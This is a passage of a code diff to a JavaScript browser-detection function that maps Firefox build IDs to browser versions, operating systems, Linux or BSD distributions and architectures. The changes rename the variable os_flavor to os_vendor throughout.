"20091109134913": ua_version = "3.5.5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; case "20091115172547": ua_version = "3.6.0.b3"; os_name = oses_linux; break; case "20091115182845": ua_version = "3.6.0.b3"; os_name = oses_windows; break; case "20091124201530": ua_version = "3.6.0.b4"; os_name = oses_mac_osx; break; case "20091124201751": ua_version = "3.6.0.b4"; os_name = oses_linux; break; case "20091124213835": ua_version = "3.6.0.b4"; os_name = oses_windows; break; - case "2009120100": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "SUSE"; break; + case "2009120100": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "SUSE"; break; case "20091201203240": ua_version = "3.5.6"; os_name = oses_mac_osx; break; case "20091201204959": ua_version = "3.5.6"; os_name = oses_linux; break; case "20091201220228": ua_version = "3.5.6"; os_name = oses_windows; break; @@ -491,74 +506,74 @@ window.os_detect.getVersion = function(){ case "20091204132459": ua_version = "3.6.0.b5"; os_name = oses_linux; break; case "20091204132509": ua_version = "3.6.0.b5"; os_name = oses_mac_osx; break; case "20091204143806": ua_version = "3.6.0.b5"; os_name = oses_windows; break; - case "20091215230859": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "20091215230946": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "20091215231400": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86 + case "20091215230859": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "20091215230946": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "20091215231400": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86 case "20091215231754": switch (navigator.productSub) { - case "20091215": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "20100106": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 + case "20091215": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "20100106": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 } break; case "2009121601": switch (navigator.productSub) { - case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "2010010604": ua_version = "3.0.17"; os_name = oses_linux; os_flavor = "Ubuntu"; break; // Could also be Mint x86-64 + case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "2010010604": ua_version = "3.0.17"; os_name = oses_linux; os_vendor = "Ubuntu"; break; // Could also be Mint x86-64 } break; - case "2009121602": ua_version = "3.0.17"; os_name = oses_linux; os_flavor = "Ubuntu"; break; - case "20091216104148": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Mandriva"; break; - case "20091216132458": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; - case "20091216132537": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; - case "20091216142458": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; - case "20091216142519": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; - case "2009121708": ua_version = "3.0.16"; os_name = oses_linux; os_flavor = "CentOS"; arch = arch_x86; break; + case "2009121602": ua_version = "3.0.17"; os_name = oses_linux; os_vendor = "Ubuntu"; break; + case "20091216104148": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Mandriva"; break; + case "20091216132458": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; + case "20091216132537": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; + case "20091216142458": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; + case "20091216142519": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; + case "2009121708": ua_version = "3.0.16"; os_name = oses_linux; os_vendor = "CentOS"; arch = arch_x86; break; case "20091221151141": ua_version = "3.5.7"; os_name = oses_mac_osx; break; case "20091221152502": ua_version = "3.5.7"; os_name = oses_linux; break; case "2009122115": ua_version = "3.0.17"; break; // Can be either Mac or Linux case "20091221164558": ua_version = "3.5.7"; os_name = oses_windows; break; case "2009122116": ua_version = "3.0.17"; os_name = oses_windows; break; - case "2009122200": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "SUSE"; break; - case "20091223231431": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "PCLunixOS"; arch = arch_x86; break; + case "2009122200": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "SUSE"; break; + case "20091223231431": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "PCLunixOS"; arch = arch_x86; break; case "20100105194006": ua_version = "3.6.0.rc1"; os_name = oses_mac_osx; break; case "20100105194116": ua_version = "3.6.0.rc1"; os_name = oses_linux; break; case "20100105212446": ua_version = "3.6.0.rc1"; os_name = oses_windows; break; - case "2010010604": ua_version = "3.0.18"; os_name = oses_linux; os_flavor = "Ubuntu"; break; - case "20100106054534": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86 - case "20100106054634": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 - case "2010010605": ua_version = "3.0.18"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "20100106211825": ua_version = "3.5.7"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; - case "20100106212742": ua_version = "3.5.7"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break; - case "20100106215614": ua_version = "3.5.7"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; - case "20100110112429": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "Mandriva"; break; + case "2010010604": ua_version = "3.0.18"; os_name = oses_linux; os_vendor = "Ubuntu"; break; + case "20100106054534": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86 + case "20100106054634": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 + case "2010010605": ua_version = "3.0.18"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "20100106211825": ua_version = "3.5.7"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; + case "20100106212742": ua_version = "3.5.7"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break; + case "20100106215614": ua_version = "3.5.7"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; + case "20100110112429": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "Mandriva"; break; case "20100115132715": ua_version = "3.6.0"; os_name = oses_mac_osx; break; case "20100115133306": ua_version = "3.6.0"; os_name = oses_linux; break; case "20100115144158": ua_version = "3.6.0"; os_name = oses_windows; break; - case "20100125074043": ua_version = "3.6.0"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86 - case "20100125074127": ua_version = "3.6.0"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 - case "20100125204847": ua_version = "3.6.0"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86; break; // Could also be Mint x86 - case "20100125204903": ua_version = "3.6.0"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86_64; break; // Could also be Mint x86-64 + case "20100125074043": ua_version = "3.6.0"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86 + case "20100125074127": ua_version = "3.6.0"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 + case "20100125204847": ua_version = "3.6.0"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86; break; // Could also be Mint x86 + case "20100125204903": ua_version = "3.6.0"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86_64; break; // Could also be Mint x86-64 case "20100202152834": ua_version = "3.5.8"; os_name = oses_mac_osx; break; case "20100202153512": ua_version = "3.5.8"; os_name = oses_linux; break; case "20100202165920": ua_version = "3.5.8"; os_name = oses_windows; break; case "2010020219": ua_version = "3.0.18"; os_name = oses_mac_osx; break; case "2010020220": ua_version = "3.0.18"; os_name = oses_windows; break; - case "2010020400": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "SUSE"; break; - case "20100212131909": ua_version = "3.6.0.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "20100212132013": ua_version = "3.6.0.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "20100216105329": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; - case "20100216105348": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; - case "20100216105410": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; - case "20100216110009": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; - case "2010021718": ua_version = "3.0.18"; os_name = oses_linux; os_flavor = "CentOS"; arch = arch_x86; break; - case "20100218022359": ua_version = "3.6.0.4"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "20100218022705": ua_version = "3.6.0.4"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "20100218112915": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break; - case "20100222120605": ua_version = "3.6.0.5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "20100222120717": ua_version = "3.6.0.5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "20100301015346": ua_version = "3.6.0"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; - case "20100305054927": ua_version = "3.6.0"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break; - case "20100307204001": ua_version = "3.6.0"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; - case "20100308142847": ua_version = "3.6.0.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "20100308151019": ua_version = "3.6.0.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; + case "2010020400": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "SUSE"; break; + case "20100212131909": ua_version = "3.6.0.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "20100212132013": ua_version = "3.6.0.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "20100216105329": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; + case "20100216105348": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; + case "20100216105410": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; + case "20100216110009": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; + case "2010021718": ua_version = "3.0.18"; os_name = oses_linux; os_vendor = "CentOS"; arch = arch_x86; break; + case "20100218022359": ua_version = "3.6.0.4"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "20100218022705": ua_version = "3.6.0.4"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "20100218112915": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break; + case "20100222120605": ua_version = "3.6.0.5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "20100222120717": ua_version = "3.6.0.5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "20100301015346": ua_version = "3.6.0"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; + case "20100305054927": ua_version = "3.6.0"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break; + case "20100307204001": ua_version = "3.6.0"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; + case "20100308142847": ua_version = "3.6.0.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "20100308151019": ua_version = "3.6.0.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; case "2010031218": ua_version = "3.0.19"; break; // Mac OS X or Linux case "2010031422": ua_version = "3.0.19"; os_name = oses_windows; break; case "20100315075757": ua_version = "3.5.9"; os_name = oses_linux; break; @@ -567,48 +582,48 @@ window.os_detect.getVersion = function(){ case "20100316055951": ua_version = "3.6.2"; os_name = oses_mac_osx; break; case "20100316060223": ua_version = "3.6.2"; os_name = oses_linux; break; case "20100316074819": ua_version = "3.6.2"; os_name = oses_windows; break; - case "2010031700": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "SUSE"; break; - case "20100323102218": ua_version = "3.6.2"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; - case "20100323102339": ua_version = "3.6.2"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; - case "20100323194640": ua_version = "3.6.2"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break; - case "20100324182054": ua_version = "3.6.2"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; - case "20100330071911": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; - case "20100330072017": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; - case "20100330072020": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; - case "20100330072034": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; + case "2010031700": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "SUSE"; break; + case "20100323102218": ua_version = "3.6.2"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; + case "20100323102339": ua_version = "3.6.2"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; + case "20100323194640": ua_version = "3.6.2"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break; + case "20100324182054": ua_version = "3.6.2"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; + case "20100330071911": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; + case "20100330072017": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; + case "20100330072020": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; + case "20100330072034": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; case "20100401064631": ua_version = "3.6.3"; os_name = oses_mac_osx; break; case "20100401074458": ua_version = "3.6.3"; os_name = oses_linux; break; case "20100401080539": ua_version = "3.6.3"; os_name = oses_windows; break; - case "20100401144201": ua_version = "3.6.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "2010040116": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "2010040118": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "2010040119": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "20100401213457": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "2010040121": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "2010040123": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "2010040200": ua_version = "3.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "20100402010516": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "Mint"; arch = arch_x86_64; break; - case "20100402041908": ua_version = "3.6.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "20100403042003": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; - case "20100403082016": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; - case "20100404024515": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "20100404024646": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "20100404104043": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "PClinuxOS"; arch = arch_x86_64; break; - case "20100409151117": ua_version = "3.6.3.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "20100409170726": ua_version = "3.6.3.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "20100412125148": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break; + case "20100401144201": ua_version = "3.6.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "2010040116": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "2010040118": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "2010040119": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "20100401213457": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "2010040121": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "2010040123": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "2010040200": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "20100402010516": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Mint"; arch = arch_x86_64; break; + case "20100402041908": ua_version = "3.6.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "20100403042003": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; + case "20100403082016": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; + case "20100404024515": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "20100404024646": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "20100404104043": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "PClinuxOS"; arch = arch_x86_64; break; + case "20100409151117": ua_version = "3.6.3.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "20100409170726": ua_version = "3.6.3.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "20100412125148": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break; case "20100413152922": ua_version = "3.6.4.b1"; os_name = oses_mac_osx; break; case "20100413154310": ua_version = "3.6.4.b1"; os_name = oses_linux; break; case "20100413172113": ua_version = "3.6.4.b1"; os_name = oses_windows; break; - case "20100415062243": ua_version = "3.6.3.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "20100415103754": ua_version = "3.6.3.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "20100416101101": ua_version = "3.6.3.2"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break; - case "2010041700": ua_version = "3.6.4.1"; os_name = oses_linux; os_flavor = "SUSE"; break; - case "20100419015333": ua_version = "3.6.3"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break; - case "20100423043606": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86_64; break; - case "20100423140709": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "20100423141150": ua_version = "3.6.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "20100423142835": ua_version = "3.6.3"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; + case "20100415062243": ua_version = "3.6.3.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "20100415103754": ua_version = "3.6.3.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "20100416101101": ua_version = "3.6.3.2"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break; + case "2010041700": ua_version = "3.6.4.1"; os_name = oses_linux; os_vendor = "SUSE"; break; + case "20100419015333": ua_version = "3.6.3"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break; + case "20100423043606": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86_64; break; + case "20100423140709": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "20100423141150": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "20100423142835": ua_version = "3.6.3"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; case "20100502202326": ua_version = "3.6.4.b2"; os_name = oses_linux; break; case "20100502202401": ua_version = "3.6.4.b2"; os_name = oses_mac_osx; break; case "20100502221517": ua_version = "3.6.4.b2"; os_name = oses_windows; break; @@ -618,69 +633,69 @@ window.os_detect.getVersion = function(){ case "20100504085637": ua_version = "3.5.10"; os_name = oses_linux; break; case "20100504085753": ua_version = "3.5.10"; os_name = oses_mac_osx; break; case "20100504093643": ua_version = "3.5.10"; os_name = oses_windows; break; - case "2010050600": ua_version = "3.5.10"; os_name = oses_linux; os_flavor = "SUSE"; break; - case "2010051300": ua_version = "3.6.4.1"; os_name = oses_linux; os_flavor = "SUSE"; break; + case "2010050600": ua_version = "3.5.10"; os_name = oses_linux; os_vendor = "SUSE"; break; + case "2010051300": ua_version = "3.6.4.1"; os_name = oses_linux; os_vendor = "SUSE"; break; case "20100513134853": ua_version = "3.6.4.b4"; os_name = oses_mac_osx; break; case "20100513140540": ua_version = "3.6.4.b4"; os_name = oses_linux; break; case "20100513144105": ua_version = "3.6.4.b4"; os_name = oses_windows; break; - case "20100513190740": ua_version = "3.6.3"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break; + case "20100513190740": ua_version = "3.6.3"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break; case "20100523180910": ua_version = "3.6.4.b5"; os_name = oses_mac_osx; break; case "20100523181754": ua_version = "3.6.4.b5"; os_name = oses_linux; break; case "20100523185824": ua_version = "3.6.4.b5"; os_name = oses_windows; break; case "20100527084110": ua_version = "3.6.4.b6"; os_name = oses_mac_osx; break; case "20100527085242": ua_version = "3.6.4.b6"; os_name = oses_linux; break; case "20100527093236": ua_version = "3.6.4.b6"; os_name = oses_windows; break; - case "2010061100": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "SUSE"; break; + case "2010061100": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "SUSE"; break; case "20100611134546": ua_version = "3.6.4.b7"; os_name = oses_mac_osx; break; case "20100611135942": ua_version = "3.6.4.b7"; os_name = oses_linux; break; case "20100611143157": ua_version = "3.6.4.b7"; os_name = oses_windows; break; - case "20100622203044": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; - case "20100622203045": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; - case "20100622204750": ua_version = "3.5.10"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; - case "20100622204830": ua_version = "3.5.10"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; - case "20100622205038": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "PClinuxOS"; arch = arch_x86_64; break; - case "20100623081410": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "CentOS"; arch = arch_x86_64; break; - case "20100623081921": ua_version = "3.6.4"; os_name = oses_linux; os_flavor = "CentOS"; arch = arch_x86; break; - case "20100623155731": ua_version = "3.6.4.b7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "20100623200132": ua_version = "3.6.4.b7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; + case "20100622203044": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; + case "20100622203045": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; + case "20100622204750": ua_version = "3.5.10"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; + case "20100622204830": ua_version = "3.5.10"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; + case "20100622205038": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "PClinuxOS"; arch = arch_x86_64; break; + case "20100623081410": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "CentOS"; arch = arch_x86_64; break; + case "20100623081921": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "CentOS"; arch = arch_x86; break; + case "20100623155731": ua_version = "3.6.4.b7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "20100623200132": ua_version = "3.6.4.b7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; case "20100625222733": ua_version = "3.6.6"; os_name = oses_linux; break; case "20100625223402": ua_version = "3.6.6"; os_name = oses_mac_osx; break; case "20100625231939": ua_version = "3.6.6"; os_name = oses_windows; break; - case "20100626104508": ua_version = "3.6.4"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; - case "20100627211341": ua_version = "3.6.4"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break; - case "20100628082832": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "PClinuxOS"; arch = arch_x86_64; break; - case "20100628124739": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "20100628143222": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "20100628232431": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "20100629034705": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "20100629105354": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break; - case "20100630130433": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; + case "20100626104508": ua_version = "3.6.4"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; + case "20100627211341": ua_version = "3.6.4"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break; + case "20100628082832": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "PClinuxOS"; arch = arch_x86_64; break; + case "20100628124739": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "20100628143222": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "20100628232431": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; + case "20100629034705": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; + case "20100629105354": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break; + case "20100630130433": ua_version = "3.6.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; case "20100630131607": ua_version = "4.0.0.b1"; os_name = oses_mac_osx; break; case "20100630132217": ua_version = "4.0.0.b1"; os_name = oses_linux; break; case "20100630141702": ua_version = "4.0.0.b1"; os_name = oses_windows; break; - case "20100630174226": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86_64; break; - case "20100630180611": ua_version = "3.6.6"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86; break; - case "20100709115208": ua_version = "3.6.7.b1"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; - case "20100709183408": ua_version = "3.6.7.b1"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; - case "20100716093011": ua_version = "3.6.7.b2"; os_name = oses_linux; os_flavor = "Ubuntu"; 